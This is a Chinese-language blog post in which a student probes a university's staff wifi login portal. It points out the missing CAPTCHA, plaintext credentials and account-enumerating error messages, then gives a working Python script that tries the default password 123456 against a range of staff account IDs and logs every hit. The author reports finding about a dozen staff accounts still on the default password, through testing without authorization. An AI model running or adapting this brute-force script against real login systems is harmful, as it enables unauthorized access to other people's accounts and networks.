寢室晚上11點斷網,原來給學生的hznu 無線學校和電信公司沒談攏。。晚上只能開熱點。。這樣的話,hznu-teacher 的校園無線網的安全性就岌岌可危
那就來進行一個安全性測試吧
筆記本連hznu-teacher 無線,會跳出一個頁面 如下:要求輸入賬號密碼的
在檢查頁面:按F12 填好賬號密碼後點擊登錄:
會有一項項的 http header 還有 http body 裏的 form-data 裏的數據,可以看到是發送的明文
賬號xxxx 密碼 123456 等等其他, 可以發現提示 賬號密碼錯誤了
到這裏,來梳理下我對這個安全漏洞的檢查思路:
首先 是沒有驗證碼,光是這個漏洞就是致命的,因爲識別驗證碼的圖靈測試代碼的編寫就可以勸退99% 的攻擊者了
其次,密碼這些是明文發送的,肯定會有風險,又抓包工具的估計就可以抓到裏面的信息了
然後,這個賬號密碼 可以看出 使用一個post 方式發出去的,並返回內容。
我們可以根據返回的內容 來判斷賬號密碼正不正確。
除了返回提示 ”賬號密碼錯誤“ 外
其實如果你填的 賬號不存在 還可以發現 提示 “沒有這個賬號” 等
其實,之前我一步一步用jupyter notebook 測試過得,在 requests.post 發送請求得到
輸出頁面信息 如下:
那個賬號不存在也是一樣的,那麼再加上局域網的驗證飛快,我又知道教職工賬號的前幾位,這就降低了遍歷的次數,
好了,放代碼吧:python3.6
# -*- coding: utf-8 -*-
"""
Spyder Editor
This is a temporary script file.
"""
import requests
import os
s = requests.session()
#print(s.headers)
headers = {
'User-Agent': 'Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/73.0.3683.86 Safari/537.36',
'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8',
'Host': '172.31.1.5',
'Referer': 'http://172.31.1.5/srun_portal_pc.php?wlanuserip=172.18.69.34&wlanacname=&wlanuserfirsturl=http://www.hao123.com/&ac_id=6',
'X-Requested-With':'XMLHttpRequest'
}
login_url='http://172.31.1.5/srun_portal_pc.php?wlanuserip=172.18.69.34&wlanacname=&wlanuserfirsturl=http://www.hao123.com/&ac_id=6'
data = {'action':'login',
'username':'20021064',
'password':'123456',
'ac_id':'6',
'user_id':'6',
'user_ip':'172.18.69.34',
'nas_ip':'',
'user_mac':'',
'save_me':'1',
'ajac':'1'}
#create a new file to store account
dest = "/home/xxxx/Desktop/blowup.txt"
if os.path.exists(dest) is None:
os.mkdirs(dest)
f = open(dest,'w')
f.close() #without this segment,the file won't be created
with open(dest,'a') as fw:
fw.write("acount which password is 123456:\n")
for i in range(xxx,xxx): #這裏填遍歷的 賬號範圍
data['username']='2002'+str(i)
response = s.post(login_url,data=data,headers=headers)
result = response.text
print('account:'+str(i)+":")
error_msg = "用戶名或密碼錯誤,請重試。"
user_not_exist = "用戶不存在"
if error_msg in response.text:
print(error_msg)
elif user_not_exist in response.text:
print(user_not_exist)
else:
print("acount: 2002"+str(i))
fw.write("acount: 2002"+str(i)+"\n")
爲了不讓別有用心的人濫用這個代碼,我把遍歷的範圍 變成xxx 了,懂得人自然可以填數字進去,密碼前綴是2002
好了,結果如下
這個。。我其實就測試了幾百組,就有10幾個懶人沒有改初始密碼,太不應該了,
最後,這個安全漏洞的發現和分享,只是爲了傳播知識,我們還是不要佔用教職工無線網資源,恩恩